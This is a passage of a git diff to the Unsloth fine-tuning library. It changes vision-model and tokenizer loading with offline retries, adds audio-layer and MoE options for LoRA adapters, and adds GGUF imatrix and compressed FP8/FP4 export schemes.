+                        # Device-safe embedding offload.
+                        _install_offload_embedding_hooks(embed_tokens, out_embed, _embed_device)
+                        # Must free GPU memory otherwise will not free!
+                        torch.cuda.empty_cache()
+                        gc.collect()
+            else:
+                from unsloth_zoo.vllm_utils import (
+                    load_vllm,
+                    get_vllm_state_dict,
+                    convert_vllm_to_huggingface,
+                    generate_batches,
+                    get_lora_supported_ranks,
                 )
 
-            model_config.model_name = model_name
+                if full_finetuning:
+                    max_lora_rank = max(get_lora_supported_ranks())
+                    raise NotImplementedError(
+                        "Unsloth: `fast_inference=True` cannot be used together with `full_finetuning=True`.\n"
+                        "Reason: fast_inference is optimized for inference-only workflows and "
+                        "does not currently support full fine-tuning.\n"
+                        "Workaround: disable fast_inference, or use parameter-efficient fine-tuning "
+                        f"(e.g. LoRA with rank r={max_lora_rank})."
+                    )
 
-            if fast_inference:
-                fast_inference, model_name = fast_inference_setup(model_name, model_config)
+                model_config.model_name = model_name
 
-            fp8_mode = None
-            if load_in_fp8 != False:
-                fp8_mode = _get_fp8_mode_and_check_settings(
-                    load_in_fp8,
-                    fast_inference,
-                    full_finetuning,
-                    load_in_4bit,
-                    load_in_8bit,
-                    load_in_16bit,
+                if fast_inference:
+                    fast_inference, model_name = fast_inference_setup(model_name, model_config)
+
+                fp8_mode = None
+                if load_in_fp8 != False:
+                    fp8_mode = _get_fp8_mode_and_check_settings(
+                        load_in_fp8,
+                        fast_inference,
+                        full_finetuning,
+                        load_in_4bit,
+                        load_in_8bit,
+                        load_in_16bit,
+                    )
+
+                allowed_args = inspect.getfullargspec(load_vllm).args
+                load_vllm_kwargs = dict(
+                    model_name = model_name,
+                    config = model_config,
+                    gpu_memory_utilization = gpu_memory_utilization,
+                    max_seq_length = max_seq_length,
+                    dtype = dtype,
+                    float8_kv_cache = float8_kv_cache,
+                    enable_lora = vllm_enable_lora,
+                    max_lora_rank = max_lora_rank,
+                    disable_log_stats = disable_log_stats,
+                    use_bitsandbytes = load_in_4bit,
+                    unsloth_vllm_standby = unsloth_vllm_standby,
+                    is_vision_model = is_vlm_config,
+                    fp8_mode = fp8_mode,
                 )
+                for allowed_arg in allowed_args:
+                    if allowed_arg not in load_vllm_kwargs and allowed_arg in kwargs:
+                        load_vllm_kwargs[allowed_arg] = kwargs[allowed_arg]
 
-            allowed_args = inspect.getfullargspec(load_vllm).args
-            load_vllm_kwargs = dict(
-                model_name = model_name,
-                config = model_config,
-                gpu_memory_utilization = gpu_memory_utilization,
-                max_seq_length = max_seq_length,
-                dtype = dtype,
-                float8_kv_cache = float8_kv_cache,
-                enable_lora = vllm_enable_lora,
-                max_lora_rank = max_lora_rank,
-                disable_log_stats = disable_log_stats,
-                use_bitsandbytes = load_in_4bit,
-                unsloth_vllm_standby = unsloth_vllm_standby,
-                is_vision_model = is_vlm_config,
-                fp8_mode = fp8_mode,
-            )
-            for allowed_arg in allowed_args:
-                if allowed_arg not in load_vllm_kwargs and allowed_arg in kwargs:
-                    load_vllm_kwargs[allowed_arg] = kwargs[allowed_arg]
+                # Load vLLM first
+                llm = load_vllm(**load_vllm_kwargs)
 
-            # Load vLLM first
-            llm = load_vllm(**load_vllm_kwargs)
+                # Convert to HF format
+                _, quant_state_dict = get_vllm_state_dict(
+                    llm,
+                    config = model_config,
+                    is_vision_model = is_vlm_config,
+                    load_in_fp8 = load_in_fp8,
+                )
+                model = convert_vllm_to_huggingface(
+                    quant_state_dict,
+                    model_config,
+                    dtype,
+                    bnb_config,
+                    is_vision_model = is_vlm_config,
+                )
+                model.vllm_engine = llm
+                llm.shared_weights = True
+                model.fast_generate = model.vllm_engine.generate
+                model.fast_generate_batches = functools.partial(generate_batches, model.vllm_engine)
 
-            # Convert to HF format
-            _, quant_state_dict = get_vllm_state_dict(
-                llm,
-                config = model_config,
-                is_vision_model = is_vlm_config,
-                load_in_fp8 = load_in_fp8,
-            )
-            model = convert_vllm_to_huggingface(
-                quant_state_dict,
-                model_config,
-                dtype,
-                bnb_config,
-                is_vision_model = is_vlm_config,
-            )
-            model.vllm_engine = llm
-            llm.shared_weights = True
-            model.fast_generate = model.vllm_engine.generate
-            model.fast_generate_batches = functools.partial(generate_batches, model.vllm_engine)
-
-        raise_handler.remove()
-
-        # Return old flag
-        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer
+        finally:
+            raise_handler.remove()
+            # Return old flag
+            os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer
 
         # Check float32 norm weights
         if os.environ.get("UNSLOTH_HIGH_PRECISION_LAYERNORM", "0") == "1":
@@ -1132,6 +1334,18 @@ class FastBaseModel:
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
 
+        # On the vLLM path the tokenizer warm was deferred (fast_inference_setup may remap model_name).
+        # Warm the now-final tokenizer repo so the load below hits the cache (a cached/local repo is a no-op).
+        if _vllm_owns_weights and isinstance(tokenizer_name, str) and tokenizer_name:
+            maybe_prefetch_hf_snapshot(
+                tokenizer_name,
+                token = token,
+                revision = kwargs.get("revision"),
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         # Fix _Unsloth_Patched_ prefix in local config files from old saves (issue #4085)
         if os.path.isdir(tokenizer_name):
             import json as _json
@@ -1154,58 +1368,105 @@ class FastBaseModel:
                     except Exception:
                         pass
 
-        if (whisper_language and whisper_task) or auto_model.__name__.endswith(
-            "ForConditionalGeneration"
-        ):
-            try:
-                tokenizer = auto_processor.from_pretrained(
-                    tokenizer_name,
-                    padding_side = "left",
-                    token = token,
-                    language = whisper_language,
-                    task = whisper_task,
-                    trust_remote_code = trust_remote_code,
-                )
-            except Exception:
-                tokenizer = None
-        else:
-            try:
-                tokenizer = auto_processor.from_pretrained(
-                    tokenizer_name,
-                    padding_side = "left",
-                    token = token,
-                    trust_remote_code = trust_remote_code,
-                )
-            except:
-                tokenizer = get_auto_processor(
-                    tokenizer_name,
-                    padding_side = "left",
-                    token = token,
-                    trust_remote_code = trust_remote_code,
-                )
+        # Functional load chain (AutoProcessor -> get_auto_processor -> manual VLM
+        # fallback); offline is already forced upstream. Surfaces the error for the retry.
+        def _acquire_processor(lfo):
+            _err = None  # underlying load failure (used by the entry-point retry)
+            if (whisper_language and whisper_task) or auto_model.__name__.endswith(
+                "ForConditionalGeneration"
+            ):
+                try:
+                    _tok = auto_processor.from_pretrained(
+                        tokenizer_name,
+                        padding_side = "left",
+                        token = token,
+                        language = whisper_language,
+                        task = whisper_task,
+                        trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
+                        local_files_only = lfo,
+                    )
+                except Exception as _e:
+                    _tok = None
+                    _err = _e
+            else:
+                try:
+                    _tok = auto_processor.from_pretrained(
+                        tokenizer_name,
+                        padding_side = "left",
+                        token = token,
+                        trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
+                        local_files_only = lfo,
+                    )
+                except Exception as _e:
+                    _err = _e
+                    try:
+                        _tok = get_auto_processor(
+                            tokenizer_name,
+                            padding_side = "left",
+                            token = token,
+                            trust_remote_code = trust_remote_code,
+                            cache_dir = kwargs.get("cache_dir"),
+                            local_files_only = lfo,
+                        )
+                    except Exception:
+                        # Swallow so the manual fallback / entry-point retry can run.
+                        _tok = None
 
-        # If processor loading failed (e.g., tokenizer class not found),
-        # or if AutoProcessor silently degraded to a text-only tokenizer
-        # instead of returning a full VLM processor (issue #4085),
-        # try constructing the processor manually from separate components.
-        _processor_is_degraded = (
-            is_vlm and tokenizer is not None and not hasattr(tokenizer, "image_processor")
-        )
-        if (tokenizer is None or _processor_is_degraded) and is_vlm:
-            _fallback = _construct_vlm_processor_fallback(
-                tokenizer_name,
-                model_type_arch,
-                token,
-                trust_remote_code,
+            # Build the processor manually if it failed to load or silently degraded to
+            # a text-only tokenizer (no image_processor) for a VLM (issue #4085).
+            _processor_is_degraded = (
+                is_vlm and _tok is not None and not hasattr(_tok, "image_processor")
             )
-            if _fallback is not None:
-                tokenizer = _fallback
-            if tokenizer is None:
-                import sys
-                print(
-                    f"Unsloth: Warning - VLM processor fallback returned None for model_type={model_type_arch}",
-                    file = sys.stderr,
+            if (_tok is None or _processor_is_degraded) and is_vlm:
+                try:
+                    _fallback, _fb_err = _construct_vlm_processor_fallback(
+                        tokenizer_name,
+                        model_type_arch,
+                        token,
+                        trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
+                        local_files_only = lfo,
+                    )
+                except Exception as _fe:
+                    _fallback, _fb_err = None, _fe
+                if _fallback is not None:
+                    _tok = _fallback
+                elif _err is None or (_fb_err is not None and _is_offline_related_error(_fb_err)):
+                    # Prefer a network fallback error over a permanent primary one so the
+                    # offline retry still fires.
+                    _err = _fb_err
+            return _tok, _err
+
+        def _is_degraded_vlm(_t):
+            # VLM that loaded only a text-only tokenizer (no image_processor).
+            return is_vlm and _t is not None and not hasattr(_t, "image_processor")
+
+        tokenizer, _primary_err = _acquire_processor(local_files_only)
+        # Online network failure/degrade: raise so @_offline_aware_load retries from cache.
+        # Permanent / missing-file errors propagate; when already offline keep what we got.
+        if (
+            (tokenizer is None or _is_degraded_vlm(tokenizer))
+            and not local_files_only
+            and _is_offline_related_error(_primary_err)
+        ):
+            raise _primary_err
+        # Missing torchvision silently degrades a VLM processor to text-only; surface the
+        # real cause instead of a later collator error (#4202), incl. on a silent degrade.
+        if is_vlm and (tokenizer is None or not hasattr(tokenizer, "image_processor")):
+            if _missing_torchvision_error(_primary_err):
+                raise ImportError(
+                    f"Unsloth: Could not load the vision processor for `{tokenizer_name}` "
+                    "because torchvision is not installed. transformers requires torchvision "
+                    "for this model's vision (image/video) processors. Please install it, "
+                    "e.g. `pip install torchvision`."
                 )
+            import sys
+            print(
+                f"Unsloth: Warning - VLM processor fallback returned None for model_type={model_type_arch}",
+                file = sys.stderr,
+            )
         # Backwards compat: if processor has no chat_template (e.g. old saves without
         # chat_template.jinja) but the inner tokenizer does, copy it to the processor.
         if (
@@ -1242,8 +1503,7 @@ class FastBaseModel:
         try:
             model, tokenizer = patch_tokenizer(model, tokenizer)
         except Exception as _patch_err:
-            # Some VLM processors (e.g., ERNIE VL) may fail during tokenizer patching.
-            # Try loading tokenizer separately via AutoTokenizer as fallback.
+            # Some VLM processors (e.g. ERNIE VL) fail patching; fall back to AutoTokenizer.
             try:
                 from transformers import AutoTokenizer as _AutoTokenizer
 
@@ -1252,6 +1512,8 @@ class FastBaseModel:
                     padding_side = "left",
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    cache_dir = kwargs.get("cache_dir"),
+                    local_files_only = local_files_only,
                 )
                 model, _fallback_tok = patch_tokenizer(model, _fallback_tok)
                 # Re-attach as processor wrapper if original was a processor
@@ -1259,8 +1521,10 @@ class FastBaseModel:
                     tokenizer.tokenizer = _fallback_tok
                 else:
                     tokenizer = _fallback_tok
-            except Exception:
-                # If fallback also fails, raise the original error
+            except Exception as _fb_err:
+                # Online network failure: propagate for the offline retry; else raise the patch error.
+                if not local_files_only and _is_offline_related_error(_fb_err):
+                    raise
                 raise _patch_err
         model = post_patch_loss_function(model)
 
@@ -1269,29 +1533,46 @@ class FastBaseModel:
             model.config.update({"unsloth_version": __version__})
         patch_saving_functions(model, vision = True)
         if tokenizer is None:
-            # Last resort: try loading tokenizer via AutoTokenizer, then PreTrainedTokenizerFast
-            try:
+            # Last resort: AutoTokenizer, then PreTrainedTokenizerFast (raise on network failure to retry).
+            def _last_resort_tokenizer(lfo):
                 from transformers import AutoTokenizer as _AutoTokenizer
-                tokenizer = _AutoTokenizer.from_pretrained(
-                    tokenizer_name,
-                    padding_side = "left",
-                    token = token,
-                    trust_remote_code = trust_remote_code,
-                )
-            except Exception:
                 try:
-                    from transformers import PreTrainedTokenizerFast
-                    tokenizer = PreTrainedTokenizerFast.from_pretrained(
+                    return _AutoTokenizer.from_pretrained(
                         tokenizer_name,
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
+                        local_files_only = lfo,
                     )
                 except Exception:
-                    del model
-                    raise RuntimeError(
-                        "Unsloth: The tokenizer is weirdly not loaded? Please check if there is one."
+                    from transformers import PreTrainedTokenizerFast
+                    return PreTrainedTokenizerFast.from_pretrained(
+                        tokenizer_name,
+                        padding_side = "left",
+                        token = token,
+                        trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
+                        local_files_only = lfo,
                     )
+
+            _last_resort_err = None
+            try:
+                tokenizer = _last_resort_tokenizer(local_files_only)
+            except Exception as _e:
+                _last_resort_err = _e
+                # Online network failure: let the entry point retry forced-offline.
+                if not local_files_only and _is_offline_related_error(_e):
+                    raise
+            if tokenizer is None:
+                del model
+                raise RuntimeError(
+                    "Unsloth: Could not load the tokenizer/processor. If you are "
+                    "offline, make sure the tokenizer files exist in the checkpoint "
+                    "folder or were previously downloaded to the Hugging Face cache, "
+                    "or set HF_HUB_OFFLINE=1 to force local loading. "
+                    "Otherwise please check that the model has a tokenizer."
+                ) from _last_resort_err
         patch_saving_functions(tokenizer, vision = True)
 
         # Fix gradient accumulation. See issue #4982.
@@ -1317,16 +1598,14 @@ class FastBaseModel:
         while hasattr(m, "model"):
             m.max_seq_length = max_seq_length
             m._saved_temp_tokenizer = tokenizer
-            # Also set is_loaded_in_8bit to disable incorrect DDP
-            m.is_loaded_in_8bit = True if not full_finetuning else False
             m = m.model
         m.max_seq_length = max_seq_length
         # Save to modules as well
         for module in model.modules():
             module.max_seq_length = max_seq_length
         m._saved_temp_tokenizer = tokenizer
-        # Also set is_loaded_in_8bit to disable incorrect DDP
-        m.is_loaded_in_8bit = True if not full_finetuning else False
+        # Prevent Transformers Trainer from auto-wrapping Unsloth LoRA models in DP.
+        _mark_unsloth_disable_data_parallel(model, disable = not full_finetuning)
 
         # Patch generate
         if os.environ.get("UNSLOTH_DISABLE_FAST_GENERATION", "0") == "0" and hasattr(
@@ -1382,6 +1661,7 @@ class FastBaseModel:
         qat_scheme = None,
         target_parameters = None,  # For MoE expert layers (nn.Parameter)
         ensure_weight_tying = False,  # [TODO] Add `ensure_weight_tying` for `modules_to_save` for vision models
+        finetune_audio_layers = False,  # placed last to preserve existing positional argument order
         **kwargs,
     ):
         if os.environ.get("UNSLOTH_ENABLE_FULL_FINETUNING", "0") == "1":
@@ -1400,11 +1680,40 @@ class FastBaseModel:
         if isinstance(model, PeftModelForCausalLM):
             raise RuntimeError("Unsloth: You already added LoRA adapters to your model!")
 
+        # Remember whether the CALLER explicitly opted into audio. "all-linear" turns
+        # the flag on implicitly below, but an old unsloth_zoo that cannot do audio
+        # must not make a plain all-linear (text/vision) run fail.
+        _audio_explicitly_requested = bool(finetune_audio_layers)
         if target_modules == "all-linear":
             finetune_vision_layers = True
             finetune_language_layers = True
             finetune_attention_modules = True
             finetune_mlp_modules = True
+            finetune_audio_layers = True
+        # Older unsloth_zoo (before get_peft_regex gained finetune_audio_layers) does
+        # not accept the kwarg. Pass it only when supported; if the caller EXPLICITLY
+        # asked for audio but it is unsupported, fail loudly rather than silently
+        # training a language-only adapter. (all-linear's implicit opt-in degrades
+        # gracefully instead of raising.)
+        if "finetune_audio_layers" in inspect.signature(get_peft_regex).parameters:
+            _audio_kwargs = {"finetune_audio_layers": finetune_audio_layers}
+        elif _audio_explicitly_requested:
+            raise RuntimeError(
+                "Unsloth: finetune_audio_layers=True requires a newer unsloth_zoo. "
+                "Please upgrade with `pip install --upgrade --no-deps unsloth_zoo`."
+            )
+        else:
+            _audio_kwargs = {}
+        # Remember the caller's ORIGINAL explicit leaf list for MoE expert
+        # detection. When an explicit list is routed through get_peft_regex for
+        # family scoping below, the generated regex carries get_peft_regex's full
+        # "mlp|feed_forward|ffn|dense" component block even when the caller named
+        # only attention leaves (q/k/v/o_proj). Keying expert detection on that
+        # regex would train the experts for an attention-only request. The
+        # original list carries the true leaf intent, so use it for MoE detection;
+        # only the auto (None / "all-linear") path relies on the regex, whose mlp
+        # block is the sole remaining MLP-intent signal on fused-expert models.
+        _moe_detect_target = target_modules if type(target_modules) in (list, tuple) else None
         if target_modules is None or target_modules == "all-linear":
             target_modules = get_peft_regex(
                 model,
@@ -1412,20 +1721,28 @@ class FastBaseModel:
                 finetune_language_layers = finetune_language_layers,
                 finetune_attention_modules = finetune_attention_modules,
                 finetune_mlp_modules = finetune_mlp_modules,
+                **_audio_kwargs,
             )
         else:
             assert type(target_modules) in (list, tuple, str)
-            if type(target_modules) in (list, tuple) and (
+            # Route an explicit list through get_peft_regex when the caller scoped a
+            # layer family (one of the finetune_* below is off) OR opted into audio (so
+            # the new audio/embedder branches are considered). finetune_audio_layers is
+            # a POSITIVE term here: using `not finetune_audio_layers` would -- since it
+            # defaults False -- force every explicit list through the filter.
+            _scoping = (
                 not finetune_vision_layers
                 or not finetune_language_layers
                 or not finetune_attention_modules
                 or not finetune_mlp_modules
-            ):
-                print(
-                    "Unsloth: Explicit target_modules are constrained by the "
-                    "finetune_(vision|language|attention|mlp) filters; adapters "
-                    "attach only where both select."
-                )
+            )
+            if type(target_modules) in (list, tuple) and (_scoping or finetune_audio_layers):
+                if _scoping:
+                    print(
+                        "Unsloth: Explicit target_modules are constrained by the "
+                        "finetune_(vision|language|attention|mlp) filters; adapters "
+                        "attach only where both select."
+                    )
                 target_modules = get_peft_regex(
                     model,
                     finetune_vision_layers = finetune_vision_layers,
@@ -1433,6 +1750,7 @@ class FastBaseModel:
                     finetune_attention_modules = finetune_attention_modules,
                     finetune_mlp_modules = finetune_mlp_modules,
                     target_modules = list(target_modules),
+                    **_audio_kwargs,
                 )
 
         if hasattr(model, "vllm_engine"):
@@ -1473,9 +1791,21 @@ class FastBaseModel:
             loftq_config, lora_dropout, bias, init_lora_weights, model
         )
 
-        # Auto-detect MoE models and populate target_parameters for expert layers
+        # Auto-detect MoE models and populate target_parameters for expert layers.
+        # Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an
+        # attention-only request does not train experts via get_peft_regex's mlp block,
+        # but only when MLP and language families are both still in scope. If the caller
+        # scoped MLP or language OFF (finetune_mlp_modules / finetune_language_layers
+        # False), the scoped regex already dropped the experts, so honor it instead of
+        # re-introducing the original list's gate/up/down leaves.
         if target_parameters is None:
-            target_parameters = get_moe_target_parameters(model, target_modules)
+            _moe_targets = _select_moe_detection_targets(
+                _moe_detect_target,
+                target_modules,
+                finetune_mlp_modules = finetune_mlp_modules,
+                finetune_language_layers = finetune_language_layers,
+            )
+            target_parameters = get_moe_target_parameters(model, _moe_targets)
 
         if finetune_last_n_layers is not None and layers_to_transform is None:
             _total_layers = _get_total_transformer_layers(model)
@@ -1589,6 +1919,7 @@ class FastBaseModel:
         # Detect a stray pre-train forward so train() can drop the torch.compile
         # graph cache it would otherwise poison (see prepare_for_training_mode).
         _unsloth_install_pretrain_detector(model)
+        model = _exclude_rope_inv_freq_from_ddp(model)
         return model
 
     @staticmethod
@@ -1639,6 +1970,11 @@ class FastBaseModel:
             float32_mixed_precision = float32_mixed_precision,
             patch_modules_to_save = True,
         )
+        # Persist the configured GC mode so the trainer restores it verbatim.
+        # for_inference() clears the module flags (GRPO does this every generation
+        # step), and a plain TrainingArguments defaults gradient_checkpointing=False,
+        # which would otherwise silently disable this setting at train time (#4735).
+        model._unsloth_gradient_checkpointing = use_gradient_checkpointing
 
         # Gemma3N audio conformer processes variable-length audio tensors
         # that cause stride mismatches in AOT autograd compiled backward
@@ -1673,14 +2009,12 @@ class FastBaseModel:
             if hasattr(m, "_saved_temp_tokenizer"):
                 if hasattr(m._saved_temp_tokenizer, "tokenizer"):
                     m._saved_temp_tokenizer.tokenizer.padding_side = "left"
-            # Also set is_loaded_in_8bit to disable incorrect DDP
-            m.is_loaded_in_8bit = True if not full_finetuning else False
             m = m.model
         if hasattr(m, "_saved_temp_tokenizer"):
             if hasattr(m._saved_temp_tokenizer, "tokenizer"):
                 m._saved_temp_tokenizer.tokenizer.padding_side = "left"
-        # Also set is_loaded_in_8bit to disable incorrect DDP
-        m.is_loaded_in_8bit = True if not full_finetuning else False
+        # Prevent Transformers Trainer from auto-wrapping Unsloth LoRA models in DP.
+        _mark_unsloth_disable_data_parallel(model, disable = not full_finetuning)
 
         # Clear deleted GPU items
         for _ in range(3):
@@ -1970,3 +2304,16 @@ def check_dataset_for_missing_videos(
         warnings.warn(error_msg, stacklevel = 2)
 
     return missing
+
+
+# Auto-enable grouped-GEMM MoE (transformers<5 ModuleList experts); see llama.py.
+try:
+    from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moe
+    FastBaseModel.from_pretrained = staticmethod(
+        wrap_loader_for_grouped_moe(FastBaseModel.from_pretrained)
+    )
+    FastBaseModel.get_peft_model = staticmethod(
+        wrap_loader_for_grouped_moe(FastBaseModel.get_peft_model)
+    )
+except Exception:
+    pass
diff --git a/unsloth/save.py b/unsloth/save.py
index 0e8c8cdc2d..0b408a1889 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -135,12 +135,25 @@ ALLOWED_QUANTS = {
     "q5_1": "Even higher accuracy, resource usage and slower inference.",
     "q5_k_s": "Uses Q5_K for all tensors",
     "q6_k": "Uses Q8_K for all tensors",
-    # "iq2_xxs" : "2.06 bpw quantization", # Not supported sadly
-    # "iq2_xs"  : "2.31 bpw quantization",
-    # "iq3_xxs" : "3.06 bpw quantization",
     "q3_k_xs": "3-bit extra small quantization",
 }
 
+# IQ (importance-matrix) quants. llama.cpp refuses these without an imatrix, so they are only
+# accepted when imatrix_file=... is supplied to save_pretrained_gguf / push_to_hub_gguf.
+IMATRIX_QUANTS = {
+    "iq1_s": "1.56 bpw. Smallest, lowest quality. Needs an imatrix.",
+    "iq1_m": "1.75 bpw. Very small. Needs an imatrix.",
+    "iq2_xxs": "2.06 bpw. Needs an imatrix.",
+    "iq2_xs": "2.31 bpw. Needs an imatrix.",
+    "iq2_s": "2.5 bpw. Needs an imatrix.",
+    "iq2_m": "2.7 bpw. Needs an imatrix.",
+    "iq3_xxs": "3.06 bpw. Needs an imatrix.",
+    "iq3_s": "3.44 bpw. Needs an imatrix.",
+    "iq3_m": "3.66 bpw. Needs an imatrix.",
+    "iq4_nl": "4.5 bpw non-linear. Benefits from an imatrix.",
+    "iq4_xs": "4.25 bpw. Benefits from an imatrix.",
+}
+
 
 def has_curl():
     return shutil.which("curl") is not None
@@ -149,9 +162,171 @@ def has_curl():
 CURL_FLAG = "-DLLAMA_CURL=ON" if has_curl() else "-DLLAMA_CURL=OFF"
 
 
+# FP8/FP4 compressed export via llm-compressor (for vLLM).
+# save_method alias -> (llm-compressor scheme, needs_calibration, output dir suffix).
+# alias -> (llm-compressor scheme, needs_calibration, output-dir suffix). needs_calibration is
+# True only for schemes with static activation scales (FP8 static, NVFP4); everything else is
+# weight-only or dynamic-activation and runs data-free. Unsupported schemes in the installed
+# compressed-tensors (e.g. MXFP8 on older stacks) are gated by _scheme_is_available at runtime.
+COMPRESSED_EXPORT_SCHEMES = {
+    # FP8
+    "fp8": ("FP8_DYNAMIC", False, "fp8"),
+    "fp8_dynamic": ("FP8_DYNAMIC", False, "fp8"),
+    "dynamic_fp8": ("FP8_DYNAMIC", False, "fp8"),
+    "w8a8_fp8": ("FP8_DYNAMIC", False, "fp8"),
+    "fp8_static": ("FP8", True, "fp8-static"),
+    "static_fp8": ("FP8", True, "fp8-static"),
+    "fp8_block": ("FP8_BLOCK", False, "fp8-block"),
+    "block_fp8": ("FP8_BLOCK", False, "fp8-block"),
+    # INT8 / INT-weight
+    "int8": ("INT8", False, "int8"),
+    "w8a8": ("W8A8", False, "w8a8"),
+    "w8a8_int8": ("W8A8", False, "w8a8"),
+    "w8a16": ("W8A16", False, "w8a16"),
+    "int8_weight": ("W8A16", False, "w8a16"),
+    "w4a16": ("W4A16", False, "w4a16"),
+    "int4": ("W4A16", False, "w4a16"),
+    "int4_weight": ("W4A16", False, "w4a16"),
+    "w4a16_asym": ("W4A16_ASYM", False, "w4a16-asym"),
+    "w4a8": ("W4A8", False, "w4a8"),
+    "w4afp8": ("W4AFP8", False, "w4afp8"),
+    # MXFP (microscaling)
+    "mxfp8": ("MXFP8", False, "mxfp8"),
+    "w8a8_mxfp8": ("MXFP8", False, "mxfp8"),
+    "mxfp4": ("MXFP4", False, "mxfp4"),
+    "w4a4_mxfp4": ("MXFP4", False, "mxfp4"),
+    "mxfp4a16": ("MXFP4A16", False, "mxfp4a16"),
+    "w4a16_mxfp4": ("MXFP4A16", False, "mxfp4a16"),
+    # NVFP4
+    "nvfp4": ("NVFP4", True, "nvfp4"),
+    "w4a4_nvfp4": ("NVFP4", True, "nvfp4"),
+    "nvfp4a16": ("NVFP4A16", False, "nvfp4a16"),
+    "w4a16_nvfp4": ("NVFP4A16", False, "nvfp4a16"),
+}
+
+
+# torchao "portable" quant export: device-agnostic FP8 / INT8, no NVIDIA GPU needed.
+# alias -> (kind, sibling suffix). FP8 saves to safetensors, INT8 to .bin; both load in vLLM.
+TORCHAO_EXPORT_SCHEMES = {
+    "torchao_fp8": ("fp8", "torchao-fp8"),
+    "torchao_int8": ("int8", "torchao-int8"),
+    "portable_fp8": ("fp8", "torchao-fp8"),
+    "portable_int8": ("int8", "torchao-int8"),
+}
+
+
+def _normalize_torchao_method(save_method):
+    """Return (kind, suffix) if `save_method` is a torchao portable FP8/INT8 export, else None."""
+    if not isinstance(save_method, str):
+        return None
+    key = save_method.lower().strip().replace("-", "_").replace(" ", "_")
+    return TORCHAO_EXPORT_SCHEMES.get(key)
+
+
+def _loaded_via_remote_code(obj):
+    """True if `obj`'s class comes from downloaded custom code (an auto_map module).
+
+    Transformers loads auto_map code into the ``transformers_modules`` package, so a
+    ``transformers_modules`` class proves the original load actually ran that remote code
+    (which the caller's / Studio's consent gate scans at load time). Export paths derive their
+    reload trust_remote_code from this - the already approved load decision - instead of from a
+    checkpoint's static ``auto_map``: a model that loads with built-in classes must not have its
+    unvetted remote code run when it is re-read during quantization export. Walks PEFT / wrapper
+    layers so a LoRA over a custom-code base is still detected, and processor components so a
+    custom tokenizer held inside a built-in processor keeps its approved trust.
+    """
+    seen = set()
+    queue = [obj]
+    while queue and len(seen) < 16:
+        node = queue.pop(0)
+        if node is None or id(node) in seen:
+            continue
+        seen.add(id(node))
+        # __module__ can be None/absent on some dynamically created or C-extension classes;
+        # treat anything non-string as "not remote code" rather than crashing the export.
+        module = getattr(type(node), "__module__", None)
+        if isinstance(module, str) and module.startswith("transformers_modules"):
+            return True
+        if hasattr(node, "get_base_model"):
+            try:
+                queue.append(node.get_base_model())
+            except Exception:
+                pass
+        # PEFT / trainer wrappers hold the real model in base_model / model; a built-in
+        # ProcessorMixin holds its (possibly custom-code) components as attributes.
+        for attr in (
+            "base_model",
+            "model",
+            "tokenizer",
+            "image_processor",
+            "feature_extractor",
+            "video_processor",
+        ):
+            queue.append(getattr(node, attr, None))
+    return False
+
+
+def _normalize_compressed_method(save_method):
+    """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed
+    export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds).
+
+    Near-miss FP8/FP4 names that are not supported raise a precise error instead of silently
+    falling through to the generic "unknown save_method" message.
+    """
+    if not isinstance(save_method, str):
+        return None
+    key = save_method.lower().strip().replace("-", "_").replace(" ", "_")
+    # torchao aliases route to the torchao path, so skip them before the "fp8" near-miss check.
+    if key in TORCHAO_EXPORT_SCHEMES:
+        return None
+    if key in COMPRESSED_EXPORT_SCHEMES:
+        return COMPRESSED_EXPORT_SCHEMES[key]
+    if any(tag in key for tag in ("fp8", "fp4", "mxfp", "nvfp", "w4a", "w8a", "int4", "int8")):
+        supported = ", ".join(sorted(COMPRESSED_EXPORT_SCHEMES.keys()))
+        raise RuntimeError(
+            f"Unsloth: save_method='{save_method}' is not a supported compressed export.\n"
+            f"Supported compressed-tensors export methods: {supported}"
+        )
+    return None
+
+
+def _is_cmake_only_llama_cpp(llama_cpp_dir: str = "llama.cpp") -> bool:
+    """
+    True if llama.cpp's Makefile is the post-CMake-migration deprecation stub,
+    so `make` cannot build it. A genuinely missing/empty checkout returns False
+    so it isn't treated as CMake-only: the caller then probes make and fails
+    loudly on a real error rather than silently assuming a CMake build.
+    """
+    makefile_path = os.path.join(llama_cpp_dir, "Makefile")
+    if not os.path.exists(makefile_path):
+        # No Makefile: only CMake-only if a real CMake project is present
+        return os.path.exists(os.path.join(llama_cpp_dir, "CMakeLists.txt"))
+    try:
+        with open(makefile_path, "r", encoding = "utf-8", errors = "ignore") as f:
+            content = f.read(4096).lower()
+            if "cmake" in content and "deprecated" in content:
+                return True
+            if "build system changed" in content:
+                return True
+    except (IOError, OSError):
+        pass
+    return False
+
+
 def print_quantization_methods():
     for key, value in ALLOWED_QUANTS.items():
         print(f'"{key}"  ==> {value}')
+    print("\nIQ low-bit quants (save_pretrained_gguf(..., imatrix_file=True or '...path')):")
+    for key, value in IMATRIX_QUANTS.items():
+        print(f'"{key}"  ==> {value}')
+    print("\nCompressed-tensors export (save_pretrained_merged(..., save_method=...), for vLLM):")
+    seen = set()
+    for key, (scheme, needs_calib, _suffix) in COMPRESSED_EXPORT_SCHEMES.items():
+        if scheme in seen:
+            continue
+        seen.add(scheme)
+        note = "needs calibration data" if needs_calib else "data-free"
+        print(f'"{key}"  ==> llm-compressor {scheme} ({note})')
 
 
 def _quantize_q2_k_l(
@@ -160,11 +335,13 @@ def _quantize_q2_k_l(
     quantizer_location: Union[str, os.PathLike],
     n_threads: int,
     print_output: bool = True,
+    imatrix = None,
 ):
     # "Q2_K_L" is an Unsloth preset, not a native llama.cpp ftype: q2_k with
